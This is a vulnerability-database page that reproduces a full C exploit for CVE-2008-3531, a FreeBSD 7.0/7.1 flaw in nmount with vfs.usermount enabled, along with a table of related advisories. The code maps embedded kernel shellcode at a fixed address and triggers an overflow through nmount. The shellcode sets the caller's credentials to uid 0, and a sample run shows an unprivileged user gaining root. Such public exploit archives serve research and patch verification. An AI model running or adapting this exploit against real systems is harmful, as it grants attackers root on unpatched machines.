Lucene search
K

FreeBSD 7.0/7.1 vfs.usermount Local Privilege Escalation Exploit

🗓️ 10 Jul 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

FreeBSD 7.0/7.1 vulnerability nmount exploit with kernel code injectio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
FreeBSD 7.0/7.1 vfs.usermount Local Privilege Escalation Exploit
9 Jul 200900:00
zdt
FreeBSD
FreeBSD -- nmount(2) local arbitrary code execution
3 Sep 200800:00
freebsd
Circl
CVE-2008-3531
9 Jul 200900:00
circl
CVE
CVE-2008-3531
5 Sep 200816:00
cve
Cvelist
CVE-2008-3531
5 Sep 200816:00
cvelist
Exploit DB
FreeBSD 7.0/7.1 - 'vfs.usermount' Local Privilege Escalation
9 Jul 200900:00
exploitdb
EUVD
EUVD-2008-3517
7 Oct 202500:30
euvd
exploitpack
FreeBSD 7.07.1 - vfs.usermount Local Privilege Escalation
9 Jul 200900:00
exploitpack
FreeBSD Advisory
FreeBSD-SA-08:08.nmount
3 Sep 200800:00
freebsd_advisory
NVD
CVE-2008-3531
5 Sep 200816:08
nvd
Rows per page

                                                /* 
 * cve-2008-3531.c -- Patroklos Argyroudis, argp at domain census-labs.com
 *
 * Privilege escalation exploit for the FreeBSD-SA-08:08.nmount
 * (CVE-2008-3531) vulnerability:
 * 
 * http://security.freebsd.org/advisories/FreeBSD-SA-08:08.nmount.asc
 * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-3531
 *
 * For a detailed analysis see:
 *
 * http://census-labs.com/news/2009/07/02/cve-2008-3531-exploit/
 * 
 * Sample run:
 * 
 * [argp@leon ~]$ uname -rsi
 * FreeBSD 7.0-RELEASE GENERIC
 * [argp@leon ~]$ sysctl vfs.usermount
 * vfs.usermount: 1
 * [argp@leon ~]$ id
 * uid=1001(argp) gid=1001(argp) groups=1001(argp)
 * [argp@leon ~]$ gcc -Wall cve-2008-3531.c -o cve-2008-3531
 * [argp@leon ~]$ ./cve-2008-3531
 * [*] vptr = 0x006e776f
 * [*] calling nmount()
 * nmount: Unknown error: -1036235776
 * [argp@leon ~]$ id
 * uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)
 *
 * $Id: cve-2008-3531.c,v 846ca34be34a 2009/02/29 11:05:02 argp $
 */

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define BUFSIZE     249

#define PAGESIZE    4096
#define ADDR        0x6e7000
#define OFFSET      1903

#define FSNAME      "msdosfs"
#define DIRPATH     "/tmp/msdosfs"

unsigned char kernelcode[] =
"\x64\xa1\x00\x00\x00\x00"   /* movl  %fs:0, %eax      # get curthread */
"\x8b\x40\x04"               /* movl  0x4(%eax), %eax  # get proc from curthread */
"\x8b\x40\x30"               /* movl  0x30(%eax),%eax  # get ucred from proc */
"\x31\xc9"                   /* xorl  %ecx, %ecx       # ecx = 0 */
"\x89\x48\x04"               /* movl  %ecx, 0x4(%eax)  # ucred.uid = 0 */
"\x89\x48\x08"               /* movl  %ecx, 0x8(%eax)  # ucred.ruid = 0 */
                             /* # return to the pre-previous function, i.e. vfs_donmount() */
"\x81\xc4\xe8\x00\x00\x00"   /* addl  $0xe8, %esp */
"\x5b"                       /* popl  %ebx */
"\x5e"                       /* popl  %esi */
"\x5f"                       /* popl  %edi */
"\x5d"                       /* popl  %ebp */
"\xc3";                      /* ret */

int
main()
{
    void *vptr;
    struct iovec iov[6];

    vptr = mmap((void *)ADDR, PAGESIZE, PROT_READ | PROT_WRITE,
            MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);

    if(vptr == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }

    vptr += OFFSET;
    printf("[*] vptr = 0x%.8x\n", (unsigned int)vptr);

    memcpy(vptr, kernelcode, (sizeof(kernelcode) - 1));

    mkdir(DIRPATH, 0700);

    iov[0].iov_base = "fstype";
    iov[0].iov_len = strlen(iov[0].iov_base) + 1;
    
    iov[1].iov_base = FSNAME;
    iov[1].iov_len = strlen(iov[1].iov_base) + 1;
    
    iov[2].iov_base = "fspath";
    iov[2].iov_len = strlen(iov[2].iov_base) + 1;
    
    iov[3].iov_base = DIRPATH;
    iov[3].iov_len = strlen(iov[3].iov_base) + 1;

    iov[4].iov_base = calloc(BUFSIZE, sizeof(char));

    if(iov[4].iov_base == NULL)
    {
        perror("calloc");
        rmdir(DIRPATH);
        exit(EXIT_FAILURE);
    }

    memset(iov[4].iov_base, 0x41, (BUFSIZE - 1));
    iov[4].iov_len = BUFSIZE;

    iov[5].iov_base = "BBBB";
    iov[5].iov_len = strlen(iov[5].iov_base) + 1;

    printf("[*] calling nmount()\n");

    if(nmount(iov, 6, 0) < 0)
    {
        perror("nmount");
        rmdir(DIRPATH);
        exit(EXIT_FAILURE);
    }

    printf("[*] unmounting and deleting %s\n", DIRPATH);
    unmount(DIRPATH, 0);
    rmdir(DIRPATH);

    return EXIT_SUCCESS;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2009 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.00288
30